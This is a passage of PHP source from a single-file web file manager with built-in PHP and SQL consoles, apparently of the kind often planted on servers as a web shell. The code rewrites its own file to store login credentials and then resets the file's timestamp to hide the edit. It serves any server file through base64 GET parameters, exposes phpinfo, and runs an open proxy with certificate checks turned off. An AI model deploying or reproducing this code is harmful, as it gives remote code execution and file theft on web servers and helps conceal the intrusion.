		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
